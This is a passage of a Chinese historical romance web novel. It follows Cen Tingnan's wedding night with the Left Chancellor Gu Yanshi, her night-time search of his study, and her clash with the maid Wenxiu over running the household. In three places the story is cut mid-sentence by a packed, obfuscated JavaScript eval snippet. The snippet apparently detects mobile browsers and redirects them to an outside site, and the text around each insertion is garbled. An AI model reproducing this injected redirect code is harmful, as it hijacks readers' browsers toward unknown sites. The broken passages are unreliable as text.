岑听南的手瞬间又揪紧。 她心里有些急了,却非得刻意压着自己做出一副淡定的姿态来。 “你、你就睡这儿?”可越掩饰越不对,最后好不容易才磕磕绊绊挤出一句结结巴巴的话。 落在顾砚时耳中就有了些别的滋味。 天不怕地不怕的岑二姑娘这是,紧张了? 他难得起了点逗弄的心思,故意不咸不淡道:“今日大婚,不睡这里你想我去哪里?” 他说得句句在理。 岑听南紧抿着唇,不受控地轻咽了口唾沫。 她自小虽性子不受拘束,海阔天空的胡来,可仪态规矩却是极到位的。这样大幅度的不雅姿态,她活了十七年只怕都是头一回。 于是一室静谧中,两人面对面长久互望着,直到岑二姑娘喉头轻轻溢出“咕噜”一声,才堪堪打破这僵持。 顾砚时早有预料似的,不留情面牵了牵唇角。 岑听南眼尖,借着屋外透进窗棱的明灭灯火,一眼便瞧见了他脸上倏忽闪过的笑。 什么端方君子,什么狠戾左相,都是假的! 这人就是个爱胡乱逗她且看热闹不嫌事大的! 岑听南也不紧张了,瞪着他道:“天底下没有谁会与同僚睡在一张榻上的,你明知道我的意思!” 顾砚时溢出意味不明的轻笑。 他欺身朝她贴近了些,那股清泠的味道便又丝丝缕缕开始撩拨她。岑听南略往后偏了偏,却见左相大人朝右偏了偏,绕过了她,径直取了一床她身后的被褥。 ……原来他的目标并不是她。 岑听南的手心都快攥出湿意来,直到这会儿才缓缓松开。 顾砚时长身玉立,拎着单薄的被褥去了窗边的贵妃榻上——那只是一张多用于午休的短榻。 他是要睡那儿? 会不会太短……亦或是太硬?初夏的夜还凉着,明日他若是着凉,外头人会不会胡乱传话? 岑听南脑中闪过万千思绪,终究只绷紧了唇,没出声。 顾砚时已经自顾自和衣躺下。 “今日大婚,若我不留宿,对你名声无益。” 良久,直到岑听南都以为顾砚时已经睡着时,那一头才低低传来这样一句。 岑听南闻言有些恍神。 她其实自小便是个不将身外名挂记在心头的,年幼不懂事时,岑闻远问她长大要寻怎样的郎婿做夫君,她便说自己要寻一个同她一般无法无天肆意横行的骄傲郎婿。 却不想到头来,寻了个最古板最规矩不过的,真是造化弄人。 她有心想同顾砚时说道说道,嘴巴长在别人嘴上,管他人做什么?你管得过来么? 却在目光落到窗边那截青竹一样笔直的身影上时,脑子打了个结。 神思突然就澄明不少——纵使她不在意,可父兄母亲的名声,到底也是与她息息相关的。 如今爹爹征战在外,若听闻,若听闻自己在大婚当夜受了冷落,他会如何作想? 她还想不想爹爹征战顺利了?外头的人又会怎样看待将军府同丞相府的这桩婚事? 利弊权衡下,岑听南慢一步,却不嫌晚地醒悟过来:“还是左相大人顾虑周全。” 只要不让她与他行夫妻之实,同房而眠又有什么所谓。 她只是……还没适应过来,她已为人妇的身份变化。 心头一松快,人便觉得疲倦。 昏昏沉沉打了个呵欠,岑听南打量四周一眼,发现顾砚时不知何时将原本放在左侧的屏风挪了位置,不偏不倚,正好将他们之间的空间分割开。 她在心头感念了一回他的细心妥帖,无声无息脱了鞋袜,准备到被褥里再褪去外衣,将今夜囫囵过去。谁料争了一整日气的五脏庙,却在此时敲锣打鼓起来。 岑听南有些窘迫地捂住小腹,朝屏风那头扫了一眼。 若在大婚当夜叫个宵夜,应当不是什么会给岑府丢人的事罢? 顾砚时闭着眼并未入睡。 那边窸窸窣窣动静不断,羽毛似的飘在他心头,一下、一下,挠得人不宁静。 等到岑听南腹中声响传来时,他彻底装不下去了。 起身点亮烛,就着烛火看他新婚的娇娘子,因为她自己造出这点动静正羞恼着,不肯抬头看他。 还要反过来埋怨他:“你这是做什么?” 顾砚时看着昏黄烛光下,岑二姑娘桃花一样的脸,眉心跳了跳。 他其实不是个好女色的,当上丞相这些年,环肥燕瘦各有千秋的女子流水一样的有人送给他。 无一例外都被他拒在了门外。 只有几个乾云帝后宫塞不下身份又没那么贵重的,因顾着瑶光的感受,被李璟澈强行塞进了他府上。 顾砚时脾气硬,也不将这些女子收作妾室或是正房,偏要孤身一人,时间长了世人都道他不近女色,这才歇了这份心思。 至于那些女子,顾砚时留在府中一段时日后,愿意走的,便送上黄金白银由她们自寻前程去,不乐意走或是没有出路的,也随她们留在府中。 这样的人不多,顾砚时打发过几回都陆陆续续走了,只有一个,自降身份留下给他做婢女也不肯走。 丞相府一直没个管事的女主人,顾砚时也就随这女子去了,当个主管丫鬟一样使着,还算好用。 总之什么样的女子,他都见过,且见得不少。就连顾砚时也以为自己不会为世间什么皮囊心动时,今日却破了例了。 或许也算不上心动。 顾砚时只是在想,今夜的喜烛燃得这样旺盛,而他刚过门的小娘子脸红得这样好看。 他的眉目便柔和了不少,温声道:“已经子时三刻,这会儿用宵夜实在不应该。” 岑二姑娘的眉头便拧了起来,望着他眼巴巴地,还嘴硬:“我又没说要用宵夜,你突然亮起烛,吓我一跳。” 说着还抱着褥子朝后头缩了缩脚。 一双雪白皓足直直刺着顾砚时的眼。 他偏开目光,顿了顿才道:“可今日你实在辛苦,是以,偶尔破例也无妨。” 顾砚时没错过岑听南眸子里的喜悦,可这惊喜之色并不长久。 岑听南:“从前我在将军府,若是什么时候想吃个什么,爹娘都是欢喜得不得了的。” 如今却要看人脸色吃饭,她自然不乐意。 “丞相大人虽然权势滔天。可我还是要提醒一下……” “你我只是同僚,不该管你那么多事。”顾砚时接上她的话,“放心,我不是在干涉你的自由。” “不过是你父亲出征前交代过我,你自小肠胃不好。这时辰若用得太多,怕你积食。”顾砚时说着穿上外袍,缓步出门对一直守在外头的丫鬟嘱咐了几句。 岑听南不声不响从床上下来,穿好鞋袜坐在桌前等着。 顾砚时一回头就望见她这般乖觉模样,心下失笑,面上却不显。只是想着将军怎么还说她挑食,瞧着,分明是个爱吃的。 膳房准备得很快,小厮拎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“明日早膳,想用什么?”他没回答,却伸手拿过筷子,就着她用过的碗,直接吃了起来。 岑听南面上一红,故作镇定道:“这时辰吃了三只饺子,明日早膳只怕还未消化,不用也行。” 话音刚落,顾砚时的脸便沉了下来:“怪道你肠胃不好。五脏者,皆禀气于胃,胃者五脏之本也[1]。食无定时,如何能好?” ……啊? 岑听南被他说晕了。 “罢了。”顾砚时摇摇头,伸出手将她从桌边拉起,“消消食再歇下。” 于是岑听南的新婚夜,就被自己的新婚夫君拉着,在房里走了一圈一圈又一圈,直到浑身疲累都渗出汗来,又叫了水两人隔着屏风擦过一回,才被准许歇下。 谁的新婚夜能是这幅景象呢? 岑听南有心同谁说一说,却发现,自己连个能讲一讲这桩荒唐事的人都没有。 半是哀愁半是感叹地歇下,原本以为能一夜好眠,直睡到日上三竿,可约莫才过个把时辰,她便昏昏沉沉转醒。 胃里难受得紧,到底还是积了食。 她想叫琉璃,又怕吵着顾砚时,撑起身下了床,想去门边叫人。 却在路过屏风时骤然秉了息——榻上没有人。 顾砚时不在。 他去了哪?难道是出去小解了?他今日饮了那么多酒,也是有可能的。 岑听南坐回床上,此刻外头是最深重的夜,门边守夜的丫鬟都歇下了,四野安静无声。 她等了许久,顾砚时都没有回来。 他说,今日是他们大婚,若他不留宿房中,于她名声无益。 可此时此刻,明月仍旧高悬树梢之上,他却不见了踪影。 岑听南四肢冷了又回暖,渐渐找回理智。 她拉开房门,迈了出去。 14. 雪腻书香中(1) 初夏的夜早已不再料峭,风拂过脸上只剩下和煦的柔。 岑听南心里远不如看上去这般宁静。 玉蝶紧跟在她身侧,压低了嗓问:“姑娘怎么不歇着,这是要去哪?” 岑听南紧了紧身上的衣袍道:“白日叫你趁着大婚没人注意,将左相府的地形记下来,可记住了?” 玉蝶拿出一卷羊皮卷:“都画在上头了。” 岑听南抖开羊皮卷,指着西侧一处:“去书斋。” 她不知道顾砚时这大半夜跑哪去了,去哪都与她无关,但如今他不在……倒是个再好不过的机会。 顾砚时是个文人,端瞧他书斋的位置与规模,就知定然不会像爹爹的书房那般只是个摆设。 岑听南觉得或许能从中寻到什么关于朝堂形势、北征事宜的线索。而若是错过今日,不知还要等到何时了。 虽然冒险,但留给她的时间不多,只能赌一赌。 走在夜色之中,纵使有地形图作指引,岑听南还是险些失了方向。 丞相府极大,当初乾云帝继位时第一刀就斩向了自己的亲叔叔邕王,这宅子便是当年富甲天下的邕王名下其中一处空置的五进门宅院。 只看那将半座山都搬进宅邸里的后花园,便是远近都有名的大手笔。当年岑昀野听说这事后还愤慨不已,常念叨前线将士打仗时常干粮都吃不上,却有达官贵人仗着出生就能随意敛尽半个天下的身家。 宋珏说他是馋人家后花园的风景,岑昀野也不恼,大笑几声道,“什么都瞒不过夫人。那样好的山水,给你和娇娇儿解闷儿真是再好不过了。我戎马一生,这点富贵总该能给妻女挣来的吧?” 可惜爹爹没能要到这处宅子。李璟澈只封了个镇北大将军给他,将这处人人都眼馋的宅子给了顾砚时。 岑听南绕行于弯弯曲曲的回廊,廊下有池水粼粼,听着流水她心中感慨,这宅子还是让她住了进来,只是不曾想是以这种形式。 她低头走在前头,猝不及防被玉蝶拉住手腕,向后的力道带得她驻足。 岑听南疑惑地回过头去,却见玉蝶将食指比在嘴边,做个噤声的动作,轻轻拉着她躲到转角处的梁柱之后掩了身形。 玉蝶是懂些功夫的。眼耳都比她这样的闺阁小姐要灵活不少。 岑听南懂玉蝶的意思,屏住呼吸安静等了须臾,果然等到两个婢子远远朝此处行来。 此时还未至寅时,丫鬟小厮们都应在睡梦中才是,怎么会出现在此处? 两人其中一个声音听上去还很稚嫩,约莫只有豆蔻年华。小丫鬟压着嗓絮絮叨叨,说的倒都是些日常活计的抱怨。只是因在四下无人的夜里,防备得也不大周全,落在岑听南耳中清晰得很。 岑听南耐着性子听了会儿,正当她以为只是意外撞上准备让玉蝶带着她绕行时,却听见一直未曾说话的另一个声音开了口。 那人道:“春雨,今日安康送宵夜过去时,可有见到未来主母的模样?” 一个丫鬟问她?岑听南又将身形藏了回去。 被唤作春雨的丫头止住碎碎念,带着些兴奋:“见到了!安康说主母美得跟天上的仙女似的,可惜他是个怂的,说是咱们相爷在边上,冷着一张脸,所以安康只扫了一眼就跑了,根本不敢多看。” “文秀姐,明日你不是就见到咱们夫人了么?”春雨疑惑道,“怎么还特意嘱咐安康细看夫人长什么样。” 文秀语气里带上了一丝惊喜:“哦?他说相爷冷着一张脸?二人可是吵架了?” 春雨:“这却不知了,安康只说送食盒过去时,两个人沉默得很,相爷甚少这样挂相。” 文秀:“……沉默?是了,难怪会迎娶她过门……” “姐姐说什么呢?迎娶她不是相爷的意思么?”春雨听得糊里糊涂,“这位岑二小姐是上京城出了名的美人,外头人都说咱们相爷就喜欢这样的,而且她可是大将军的女儿,同相爷身份也是再门当户对不过了。” “呵,门当户对?”文秀像是被戳中了什么痛处,嗓音一时尖利起来,“咱们相爷是看重出生的人么?他才不是!” 春雨怯怯地:“姐姐,小声些,你怎么啦?” 文秀意识到自己失了态,驻足平复了会儿心绪,这才道,“无事,我只是替咱们相爷鸣不平。你不觉着这事奇怪么?咱们相爷何时是近女色的人了?就说前些年……府中那么些女娇娥,都被相爷送走了。又如何会在突然之间喜欢上这个岑二姑娘呢?” 春雨轻轻“啊”道:“你这么一说,是透着点怪哩!文秀姐你这么好看,日日在相爷书房进出伺候,相爷都没正眼看过你,可见咱们相爷真是再正直不过了!” 岑听南险些被这叫做春雨的小丫鬟逗得笑出声来,她这样说,不是明晃晃往文秀心坎上扎刀子么。 文秀果然哼了一声,不理她,继续道:“何况这岑家二姑娘前些日子不是刚拒了咱们相爷的求亲么,满上京城都指着这件事笑话咱们相爷老牛吃嫩草。如今又怎么会突然回头?” “我懂了,定是她发现咱们相爷的好了!” 文秀深深叹了口气:“你那个脑子能不能稍微灵醒些,但凡你聪明一点点,还至于在外院做个粗使丫头么,我将你调来内院,做个二等侍女,银财多些不说,活计也轻松不少啊。” 岑听南牵了牵唇,没想到这文秀还是个有实权的大丫鬟。 春雨有些委屈:“我又不是姐姐你,漂亮又懂诗词歌赋,还是圣上赐进府里的,自然在相爷面前都是排得上号的。” 一番话总算说得文秀心里舒坦不少,语气都好了起来:“罢了。总之我同你讲,明日见这岑二姑娘时,机灵点。相爷娶她回来,定是为了报复她坏了名声一事,否则怎么会大婚当夜就甩脸子,还丢下新娘子深夜出府呢?” “相爷出府了?!” 春雨惊呼一声,被文秀重重捂住了唇,呵斥道,“小声些!相爷带着平安半个时辰前就出去了,还嘱咐我备好明日早膳等他回来用呢,这能有假?” “这这这,那咱们夫人得多难受啊,新婚当夜相公就跑出去,若是传出去面子可往哪里放呢。”春雨情真意切地为岑听南担忧起来。 文秀的白眼几乎要快翻上天了,若不是这丫头人缘好,在外院的丫鬟小厮中间都是个开心果,她真是懒得同这猪脑子说这许多。 “你记着,这位夫人在咱们相爷面前是个不得脸的,回去你也同你那些小姐妹讲一讲,别讨好错了人,会错了相爷的意。”文秀艰难地将话题扯回来,不放心地嘱咐道,“可明白我意思了?咱们做婢子的,要拎清谁才是我们真正的主人。” 文秀意味深长说完这番话,重重吐出口浊气,她都将话点明到这份上了,这笨丫头总该领会到了吧? 春雨点点头:“文秀姐放心,我省得啦。咱们夫人不受相爷宠爱,新婚夜还受了委屈,明日我们都知道该怎么做了!” 两个婢女的身影慢慢走远了,春雨的声音还聒噪得如同池里的蛙一般,呱嗒呱嗒响个不停。 岑听南神情古怪地揉了揉耳朵。 她还是头一回躲在背后听人家说她坏话呢,从前她都是直接照脸抡,或者牙尖嘴利地把场子给自己找回来的。上京城的闺阁小姐们,加在一起都说不过她。 玉蝶面无表情道:“相爷管束下人不力,我去将那两个丫鬟捉回来给姑娘审讯。” “诶。”岑听南伸手拉住风一样要窜出去的玉蝶,“莫急,等她们回去通知一下自己的小姐妹们,咱们也瞧瞧明日到底能上演一场什么好戏。” 几个丫鬟,随便就打发了。 可现下,她还有更重要的事的去做呢。 - 一切都如她想象般一样顺利。 玉蝶是个靠谱的,顺顺当当带着她避开人来到了书斋。宅子太大,她步程又慢,走得略久了些,此刻天已微微泛起白,不用烛火也看得见。 只是岑听南唯独没想到的是,左相的书斋大得实在过分。 说是书斋,却亭台水榭应有尽有,曲曲折折将他的书斋围拢起来。 她们头回来,费了些功夫才进到书斋里头。 书室还不止一间。这人将一整排原本的厢房都拆了,改做了书室,四五间用来存书,挂山水画,供古铜香炉,列名贵的文房四宝,视线所至之处皆是花木,雅致清幽至极。 岑听南虽不爱读书,却见识甚广。 见了这些名贵物事,冷笑道:“在外头跟我装节俭,瞧瞧,江南进上来的徽墨,一寸墨一寸金,咱们左相大人奢华在这种地方呢。” “还有这许多前朝、前前前前朝的大家字画,随便拿一副出去,够我爹爹买多少粮草了!” “难怪每次爹爹总说,他不享受,这泼天的享受就让别人占了,他才不要自苦。” 岑听南越说越气,重重推开最侧边那扇门,前头几间都是古玩字画,根本找不到什么来往书信或是和顾砚时本人有半点关联的东西。 玉蝶冷飕飕道:“姑娘冷笑起来的样子,倒是有些像相爷了。” 岑听南被噎了一噎:“谁要像他。” 眼前这间屋子窗明几净,竹榻茶炉尽有,迈入其中,绕过内室,才发现竟别有天地——屋内连着外头呢,石砖铺就的亭台延伸于溪流之上,架着古琴与蒲团,真是好不风雅。 岑听南都能想象出顾砚时坐在此处观花听涛、煮酒烹茶的酸腐样儿了。 她简直想把这琴给他砸了。 可端起来看了看,是把好琴,舍不得。 书斋一行,岑二姑娘半点有用的信息没找到,却大抵知道了自己这位夫君,是个看似节俭,其实再富贵不过的。 “好你个顾砚时。”岑听南在心底暗骂,这人果然不是面上那般的庄重书生,他是狐狸是狡兔,是不老实的贪臣。 那这贪臣,会不会为了钱银,贪吃军粮呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14000276|148465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 岑听南摸了摸手臂上泛起的鸡皮疙瘩。 她虽不知左相大人的具体职责,但大抵也听爹爹说过,六部的事最终也得上呈至这位左相,同另一位右相拍板决定的。 而盛乾朝又以左为尊,所以顾砚时实在是个权势很大的人。 岑听南陷入沉思里,玉蝶看着天色犯难:“姑娘,咱们得走了,再耽搁下去路上丫鬟小厮们就多了。” “走罢。”岑听南放下手中书册,“日后寻到机会再来。” - 玉蝶带着她悄无声息回了房,顾砚时果然还没回来。 玉蝶踟蹰道:“一会儿丫鬟小厮过来,若是见到相爷不在房内……可要我去盯着,将乱传话的都捉了?” 岑听南无所谓道:“这么多张嘴,你怎么盯得过来。由他们说去,传出去也不过是相爷昨儿离开得早了些,若是为着正经事,就没什么好置喙的。” “若不是正经事……那该头疼的是他顾砚时吧?大婚当夜出去寻花问柳,我爹爹纵马回来宰了他都合理!”岑听南恶声恶气的,见到玉蝶被她逗笑,才收起玩笑,正经道,“放心,我心中有数呢,不过几个碎嘴丫鬟,好打发的。” 她运气好,生成了爹娘的女儿,从小没直面过什么隐私。是后来渐渐长大了,同上京城的官宦女儿们结识,才略略听说了内院里那些肮脏又伤人的手段。 她一开始不大理解,怎么会有女子为了争宠,用尽手段甚至不惜害人性命。又怎么会为了争宠,将旁人还在腹中的婴儿就谋害,桩桩件件说起来都是血泪。 她在外面听了,当做骇人的故事回家同娘亲讲。 娘亲却没露出害怕的神情,倒是有些悲戚,同她说“她们争的不是宠,是苟活的一点天地……” 娘亲说得沉重,但那时的岑听南仍旧是听不大懂的。照她的性子,谁欺负上了头,骂回去、损回去,再不济打回去也好,怎么能叫自己吃亏呢? 直到她被关在笼子里那半岁的时光。 她的天地都被遮蔽,她活在一片混沌的无止尽的暗里,她也窥不见天光。 她才发现她有口不能骂,有手不能打,她什么都做不了。 她才知晓原来女子真的如蒲苇,这样坚韧,坚韧到那样一方小天地便足以苟活,足以撑着她们向上爬。 可女子又这样脆弱,脆弱到男子一句斥责,一个眼神,一个指令,也许就让她们坠入了更深的黑暗里。 大家都没什么选择,也没什么办法。 是以方才听见那个叫做文秀的女子,这样挑拨小丫鬟来给她下马威使,她的心头也没真的动怒。 那个文秀这样来争,未必是为了顾砚时。 自己进入相府,对她而言最大的威胁,是手中权力的上交。 哪怕是女子,尝过这样的滋味后,又哪里舍得放手呢。 但她不交也没用,再小的权力,岑听南也是要夺过来握在手中的。 至少在相府的后院,日后她要探听什么消息不能受到阻碍,否则自己以这一生为代价主动陷入这方天地里,还有什么意义呢? 岑听南闭上眸,敛了心神,准备着静观即将上演的戏码。 - 谁也没想到,顾砚时去见的人,竟然是当今圣上。 平安在厢房外,见着屋内把酒的三人,不敢进去叨扰,可相府那边传来的信,瞧着也不是件小事。 他焦急地在门外晃悠了几圈,终于听到“刺啦”一声,厢门打开了。 平安如蒙大赦,谁料出来的却不是自家相爷。透过虚掩的门,只瞧着圣上已经醉了,搭着自己相爷反反复复念叨些“情爱”一类的词。 平安简直头都大了。 “你是子言身边的小厮,找他有事吗?”眼前从厢房内出来的人穿着斗篷,看不真切样貌,一开口,却是女子柔和的声音,“我替你叫他。” 平安将头埋得更低连连同贵人道谢,能跟在圣上同相爷身边的,怕是也只有宫中那位孟贵妃了。 顾砚时被她喊出来,倒是没醉,只挑眉看向平安,平安不敢耽搁,上前一步附在顾砚时耳边将得到的消息说了。 顾砚时神色淡淡地点了点头:“你去东市陈记那边,买上一屉包子,再带两碗小米粥回去,别放糖。” 平安彻底傻了,他刚才说的相爷没听见么?这嘱咐的又是什么事? 顾砚时:“还不快去,回去晚了就凉了。” 平安只得点头应是,一路琢磨相爷的意思一路跑了出去。 孟瑶光见了一笑:“若是有事就先回去吧,新婚夜将岑二姑娘一个人落在房里,可不大好。” 顾砚时摇摇头:“叫年贵来,送你们回去,我这便出发去办圣上之前交代的事了。” “府里不用看顾?” 顾砚时望向酒楼外的泛起鱼肚白的天光,牵了牵唇:“无妨,不过是书斋进了个小笨贼,还什么都没找到。” 15. 雪腻书香中(2) 小笨贼将顾砚时抛在脑后,睡了个囫囵觉。 再睁眼已经是辰时二刻了,琉璃候在外头,见她醒了进来替她梳洗。 岑听南打着呵欠感念,若真要细数起来,顾砚时绝对是个再好不过的夫君人选——他有钱、有势,长得也是上京城公子哥儿里面拔尖的,虽然以他如今的年纪,岑听南也不知还能不能将他划在公子哥儿的范畴里。 可话又说回来,那群镇日只知打马游街的愣头青们,又哪里养得出左相身上那股从容。 都是权势富贵堆里泡出来的。 而最重要的是,相府没长辈。虽然放在自己身上不好受,作为嫁过来的新妇,她是托了这个,才能安安稳稳睡到天光大亮,不必同谁去请安问候的。 至少明面上,如今的相府除了顾砚时,便是她身份地位最高,后头的日子是肉眼可见的好。 可想起顾砚时那张冰块一样沉着的脸,岑听南小小地撇了撇嘴。昨日连小厮都瞧见他挂相了,也不知道避着人些。 琉璃替她梳了个抛家髻,岑听南对着铜镜打量了一回,新鲜得紧。从前她都是梳姑娘家的发髻,可一张脸又过于明艳,搭在一起总有些奇怪,如今换做妇人发髻,才真正将被遮掩一二的姿容彻底彰显出来。 连一侧的玉珠都看呆了:“姑娘愈发美了。” 琉璃笑着道:“得叫夫人了。” 玉珠捧着两条新制的罗裙,问岑听南是要穿湖蓝色的,还是月白色的,都是她从前最爱的颜色。岑听南却道都不好,挑了挑,指出一件青缎掐花对襟外裳,搭上颜色更深一些的罗裙,以碧玉流云佩压裙,整个人一水儿的青,可由她这张脸来压着却显得正好。 不会太艳,也不至于素,透出恰好的端庄来。 当得起主母的派头。 这厢岑听南还在梳妆打扮,琉璃却不知从何处寻出一张干净整洁的白帕,难掩吃惊地看向岑听南。她略略一愣,已是反应过来这条白帕是做什么用的。 琉璃自小在她身侧长大,很多话不用明说,也从不过问,瞧见岑听南拧着眉头有些为难却早有心理准备的样子,当下心头已经有数。 琉璃道:“我去找玉蝶拿刀,割破手滴上去。” 岑听南摇摇头,此时一个模样平常的丫鬟躬身进来,恭敬道:“姑娘将帕子交由婢子处理即可。” 岑听南认得这张脸,昨夜在门外伺候了一夜的便是她,叫水送进来的也是,规矩却不拘谨,瞧着像是调教过的。会记得这张脸的缘由也是奇特。 不知是不是顾砚时不喜丑人,相府的丫鬟小厮模样都是清秀,放在外头普通百姓身上当得上一句好看。唯独眼前这丫鬟,平常得让人过目即往。 只是在这样的环境中,反倒让岑听南多瞧了两眼。 岑听南道:“相爷吩咐你的?你叫什么名字?” “奴婢流云。”那丫鬟不卑不亢。 连个丫鬟都这样好气度,岑听南倒是愈相信眼前这流云才是顾砚时的心腹,叫她来做这样的事,自然再合适不过。 流云这名儿取得也好,比起文秀一类的,这名字更合岑听南的心意。 岑听南冲琉璃微微点头,又问流云:“相爷公务繁忙,府内琐事想来不能周全,如今相府内管事的大丫鬟叫什么?” 流云顿首:“回夫人的话,这人名唤文秀。” 岑听南看出来了,流云的性子同她的长相一般,安静、沉稳,不惹事,不引人注目,同玉蝶倒是有些像。 手帕交由流云去处理,岑听南带着陪嫁的三个丫鬟往前院去。 本以为路上会遇见一些不懂事的小厮丫鬟们受了文秀、春雨的挑唆,跳出来惹事,却没遇见什么风波,个个都乖觉老实得很,岑听南扯着唇笑了下,这府里像春雨那般傻的,到底还是少数。 刚一踏入院子内,一屋子奴仆便齐刷刷跪了下来,高声喊“见过夫人”。 岑听南面不改色,沉稳受了。玉蝶与玉珠替她拿来椅子,从容入座。琉璃站在她身侧,目不斜视,大大方方地,也端出了将军府的架子来。 岑听南心里悄悄夸琉璃,不愧是从小跟在她身边长大的,派头真是那么个派头。 她安安稳稳坐在椅子上,不动声色瞧着底下跪着的一群人,威压便散了出来。岑听南往下一看,一眼便瞧见带头跪在了最前头的文秀,手上还捧着本册子,想来应是相府的账务本子。 这是觉得她一个武夫的女儿,又娇纵,定是自小没学过管家,想以这个拿捏她。 岑听南便笑了笑,没急着叫他们起身。 这时节日头虽还称不上毒辣,却已经有灼人的意味了。下头的奴仆们颤颤巍巍跪了半刻钟都不到,额头就有密汗渗出来。岑听南其实没有那个磨磋人的爱好,不过是为了激一激这个不大安分的婢女。 听春雨那丫鬟的意思,再加上前些年左相府中的传闻,岑听南已猜了个七七八八——这文秀是宫里赏的。就算从前是个苦出身,也只怕好些年没再吃过苦,眼下未必跪得住。 果不其然,岑听南见她身子晃了晃,膝行上前叩了首,呈上册子:“奴婢文秀,这是今年来相府的账簿,从前夫人未进门,相爷都是将这些琐事交予奴婢管的。如今夫人来了,奴婢便不敢僭越了。” 这话面上乍听是客气,可是字字句句都在同她传达一个意思,她是相爷点的人,也不是那么不得脸的,最好待她客气些。 岑听南不咸不淡嗯了一声,叫底下的人都起了身,琉璃接过册子呈上来递给她,她粗略翻了翻便还给琉璃捧着。 管家这事,在府中虽用不着她操心,可娘亲管家的时候从没避着过她,里头的弯弯绕绕她也清楚,丫鬟小厮们从中谋利的不少,端看个人本事,但这不是今日的重点。 文秀见根本没达到自己想象中的效果,咬着牙又冒进了一回:“夫人刚接手府中诸事,不看看账簿是否有差池么?若是哪些地方对不上夫人尽管问奴婢,否则回头相爷怪罪下来就不好了。” “院中这些人,都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14000277|148465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从前跟着奴婢做惯了这事的,夫人尽可随意差遣。”见岑听南面无表情,瞧着连句像样的反击话都说不要出来,文秀又试探了一句。 后头跪着的奴仆们也像得到某种讯号似的,纷纷抬起头,明目张胆地跟着文秀打量起岑听南来。 玉蝶握紧了手中的剑。琉璃亦被气得呼吸短了短,从小到大,还没有人敢对她们姑娘这样过!连去宫里头,贵人们对姑娘也是客客气气的,一群混账下人,怎么敢的? 岑听南冷了脸,嗤笑着将账簿从琉璃手上拂落在文秀面前:“不过是个账簿,纵有差池,相爷还是有这个实力填上窟窿的。过往下人们如何偷吃我懒得翻看,污七糟八的算计看了脏眼,也同我这个新入门的夫人没甚干系。日后新制一本帐子,我的人来管就好,文秀姑娘从前管家辛苦了。如今相府有了女主人,便也不用姑娘再僭越。” 哪来的回哪呆着去吧你。 文秀脸上青一阵红一阵儿的,似是完全没料到一个高门贵女会这样无赖,直接无视她的挑衅,那她这几日挑烛修改的账簿又算什么?! 文秀稳了稳心神,兀自强撑:“夫人可问过相爷?日后掰扯不清,相爷怪罪奴婢是小,连累了夫人与相爷间的情意就不好了。” “昨夜相爷离府前,特意嘱咐过奴婢,要将桩桩件件都好好同夫人交代清楚的。” 她一口一个相爷,甚至点出顾砚时新婚夜抛下她外出的事,果然引起一片惊诧声。 岑听南却已经失了同她周旋的耐心,一个婢女仗着顾砚时没空过问府中琐事,管了几天家就真把自己当主人了。 “文秀姑娘请起。”岑听南笑眯眯上前将她扶起,“昨夜相爷同我说了姑娘身份来历,这些年确实是辛苦姑娘了,日后姑娘便在府中好吃好喝呆着,这些活计也不用姑娘再操劳了。何时姑娘想出府了,我便同相爷知会一声,定是要备上金银财宝,风风光光送姑娘走的。不然这些年姑娘待在相府中,外头人只怕以为你跟了相爷,对姑娘名声不好。” 文秀偏要说相爷对岑听南不好,新婚夜跑出去,岑听南就说相爷对她极好,什么都同她讲,且他们才是夫妇一体,你文秀不过是宫里赏下来的,别死乞白赖着不肯走。 岑听南难得长篇累牍地说这许多话,中心思想就一个,你什么也不是,劝你懂事,赶紧走。 文秀被她气得呼吸都不畅快了,见她油盐不进,咬着牙挥开她的手,对着后头使了个眼色,一个小厮得了讯号,批头散发就冲上来,想要抱着岑听南的腿喊冤。 岑听南虽然身娇体弱,可自小被岑闻远捉弄出的反应却快。眼角余光见到黑影冲上前来,下意识接连后退几步,撤出空挡,让玉蝶来得及上前阻拦。 “唰”一声利剑出鞘,立时削落那小厮额前碎发几缕,惊得他跪跌在原地,浑身发抖却打着颤都不忘将戏作完。 “夫人在上,请您千万要为小人做主啊!”那小厮哭嚎道。 岑听南睨了文秀一眼,问道:“你又有何冤屈?” 16. 雪腻书香中(3) 那小厮明眼人一瞧,便知是文秀叫来做戏的,比起他口中冤屈,岑听南更得防着他直接上手做出什么伤人的狠戾行为来。 毕竟离得这样近,玉蝶身手再好,也未必防得住。 是以岑听南拉着玉蝶又后撤了几步,将那膝行着想贴上前来的小厮喝在原地。 那小厮被岑听南冷不丁一慑,果然跪在地上支支吾吾说不出个所以然来,嘴里颠来倒去都只说从前在相府受了冤屈,没得到应有的铜子儿。 “文秀姑娘果然是很会管家的,眼皮子底下都出了这样的事。若是传出去,外头人还只当相爷克扣下人辛苦钱。”岑听南嘴角牵起弧度看向文秀,声音却冷得数九寒天似的。 冻得底下跪着的人,在太阳底下都打了个寒颤。 春雨跪在人群堆里头,悄悄同身侧的婢女换了个眼神,都在彼此眼中看到了惊诧。 夫人的气场,同相爷……好像啊。 